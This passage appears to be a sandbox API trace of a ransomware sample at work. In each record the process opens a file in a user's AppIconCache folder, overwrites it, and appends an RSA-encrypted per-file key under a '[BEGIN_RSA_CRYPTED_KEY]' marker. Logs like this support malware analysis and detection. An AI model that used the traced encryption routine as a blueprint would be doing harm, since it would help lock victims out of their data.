lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.769] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.769] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.769] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.770] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.770] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.770] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.770] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uNXSnbgFEK5Bfk195EOcwDOU8fyZuqbZSLp8JuJv1ab8F7cPFQWDzOYl9xgRiLWp\nakTTIKOFY6g4orv84tTIFGX+weGWr0zIZmDLKvssBllfT0mmuB++vySFl6unzLeG\n5azyWisbHyekxyGsM+E/1s14RaCSx2krfZMQLqhQ//bHdy8j9NnuvZuqv1bYkSrN\nAVR3fHPJfy1CA1GaDAqGyhf/kJVfsjpHeYYrJQwL+TPs6Ud4SxiEoxHGEWzVYReC\nyi2xt1Z3Dkn9Rhy9gn8ZC12iqQbSgpLjJb6DpG6oa6TUtFkOIRyK2EqO/NK6LIzi\nNbjTX4XhK01ccMQoZ06nig==\n", pcchString=0x2e3f9a8) returned 1 [0246.770] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.770] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.770] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.770] CloseHandle (hObject=0x1afc) returned 1 [0246.772] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.772] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9485C3DE-E1A0-4074-8C1B-4DC45764656C}", dwFileAttributes=0x80) returned 1 [0246.772] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9485C3DE-E1A0-4074-8C1B-4DC45764656C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{9485c3de-e1a0-4074-8c1b-4dc45764656c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.773] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.773] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.774] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.774] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.775] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.775] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.775] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.775] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.775] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+vOvm2zTHvRAljGfPIDd4bSrIR3SlIx77C/UtHmh78JtWNYNC6otRzpEYT2VKHcn\ntTepi0yv1PXWpUU6xEXiBLlGossEscMWzrFg2goldROP5Av82mYIIwV2n076gxBM\nimNeXce/bBdyhWYaBKbahfSx23EgrYlZ3tj2t/MLXzjqsi41GQr1fHD118GrRyw9\nawUjxYg5zF10DYbHdkVDzQsa8bD7UtpHdFCoM4IL4dlkz7sYYdpJnrTep9eECYly\noIBNFd3ZuiN+C344PFuPu1PTefUuYxLdcpFlXtVh7egmBbH96mhckFtvZ9Is8Jur\nRIkpPhcMer4goHUgnoSsOQ==\n", pcchString=0x2e3f9a8) returned 1 [0246.775] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.775] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.775] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.776] CloseHandle (hObject=0x1afc) returned 1 [0246.822] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.822] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{92B80E70-6ED3-42E7-830D-EF665C1DCD71}", dwFileAttributes=0x80) returned 1 [0246.823] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{92B80E70-6ED3-42E7-830D-EF665C1DCD71}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{92b80e70-6ed3-42e7-830d-ef665c1dcd71}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.823] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.824] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.839] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.839] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.839] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.839] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.839] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.840] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.840] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.840] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.840] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TW9Z1b5z6b6k5DHGpA3xAEzArsOvwApIIqnqLumhXSIMO98sMkeZFn98BvigMbWp\nbT5HLjt/q+F0KPh3/2dcOmqNPUsxVoaWRQNigAMndREbZBDpBILxPtRcsGHJvjbm\n9YfU3nxNwvvRRmoqBGHW0iF8dGs96Gv8dJT3o4xLFecH679zExrGd3c+BELxpZmX\nr86CALZnSYprxXfelGxBRBd639xEULqxSTbhbW7RRgUKySR6dDhz5QfGWMNiMmpB\nV7PmLMjii60Tgp+8qsTtLqjbCBEL3oKIlt2Xb6Fggkb5DTC9yA3AeKTr1HCBr/mK\nNOEHhla7RJfz0AG2aG7Hmw==\n", pcchString=0x2e3f9a8) returned 1 [0246.840] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.840] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.840] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.840] CloseHandle (hObject=0x1afc) returned 1 [0246.842] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.842] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9131B142-76D7-4452-8650-524C6F4D9D07}", dwFileAttributes=0x80) returned 1 [0246.843] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9131B142-76D7-4452-8650-524C6F4D9D07}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{9131b142-76d7-4452-8650-524c6f4d9d07}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.844] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.844] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.845] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.845] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.845] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.845] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.845] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.846] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.846] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.846] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.846] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="S0N992MkYZK/U5x2Od+w29htRRLyE8UNKHGp2MScw2GHeD8ySz32r8juS3qe6P5q\n7Ca2FmABpRxSnhWpJE5vlLOPBDC77iZYcq863X+TDx2ap8lNGiIQmUTnu6ZLf04L\nqmhzECihD/e99pWGtZiLTMOoalwi5SZYOCFrI8h+9CLH8adzvWPdAoneQyLhJbj8\n3hcSnjtZuhaAN03H01ix5dLJU5nj0lQ/6t1/20MYDErCNbfW6Y9fmKI1YyzTXxn2\nSwA06P2xjTfp5AVdSrPijgd5dYwkZhyp3L5aUEPDCo3fPPI7k8C0TrXOfQ7YTTTI\n8vk5ZhH2MqYp8VUdPa0/hw==\n", pcchString=0x2e3f9a8) returned 1 [0246.846] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.846] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.846] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.846] CloseHandle (hObject=0x1afc) returned 1 [0246.848] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.848] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{90D3E932-8AF8-49E8-98F5-070B13F94403}", dwFileAttributes=0x80) returned 1 [0246.849] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{90D3E932-8AF8-49E8-98F5-070B13F94403}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{90d3e932-8af8-49e8-98f5-070b13f94403}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.849] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.849] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.915] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.915] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.915] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.916] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.916] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.916] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.916] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.916] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.916] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mCAFdqEUrD7Vi3KcSK+mm0kJ+YVRFkX4W19ZVS8/d0r5bcpqnZBHdBsEkT8o0E+Z\nN/W9YDv6QJuegXfLBh/soj9NK3SMFWDDdaWvhDP5h+m5twv48a6NNGP6SBMEfKQU\nu8z8AUn7tsgKvIlCxYknFAX2XHDjzR+ZvS6OJEw8fIdyIztq0lZMFFCpYOwyZPmu\nEPHMdD3ZJmLG86Qfdj/EgY3Os0o3hoj2hXnS09yl6X4swU85310nRx6UtI5ilrE1\nrvbcCg81gsU41SEQQumKu+jJ0VkqV5TCXS0rWrmOSuBC50BfrscvkHi2WwMeX2t5\n8daie/FC9VTIAqJrf9IuCA==\n", pcchString=0x2e3f9a8) returned 1 [0246.916] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.916] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.916] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.916] CloseHandle (hObject=0x1afc) returned 1 [0246.918] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.918] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8FEFF271-6986-41E3-9230-E590CBB9A05D}", dwFileAttributes=0x80) returned 1 [0246.918] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8FEFF271-6986-41E3-9230-E590CBB9A05D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8feff271-6986-41e3-9230-e590cbb9a05d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.919] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.919] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.939] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.940] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.940] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.940] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.940] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.940] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.940] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.941] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.941] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jWdmeCxRDXKj+2JAg4SRjs9txloIPIxTLaLBmitg8jIJiYyVokf2fco9/jyS4uDr\nIOT0NvvNCFN4tOTfOBVCT/TjlyRjty+OclTsO94embAIpKUx8XTi9y9XD0RbZCqX\nK1TdWedeXfBK+ff5GaFUjW0lCelbB1kTr94Nn3a1febZUc+yjtJsA0/okwpLqRdE\nsPRMMCWlwo0e94cRqJqXNAKz5NT29au/UeopJ/RGXZNSwgJ9kB+neSPmTxzH/69k\nkdP3731ZRSSV9Oyq9qU/lXt6HmoI5jxNN6cTM5uqWAtkPs3VO8LOMiqLKemKgu7A\nmduBW13D0MldMXQj5JC3ng==\n", pcchString=0x2e3f9a8) returned 1 [0246.941] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.941] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.941] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.941] CloseHandle (hObject=0x1afc) returned 1 [0246.943] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.943] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8E1A4C76-0757-46CC-AC4A-23B132F1BB0B}", dwFileAttributes=0x80) returned 1 [0246.943] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8E1A4C76-0757-46CC-AC4A-23B132F1BB0B}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8e1a4c76-0757-46cc-ac4a-23b132f1bb0b}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.944] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.944] ReadFile 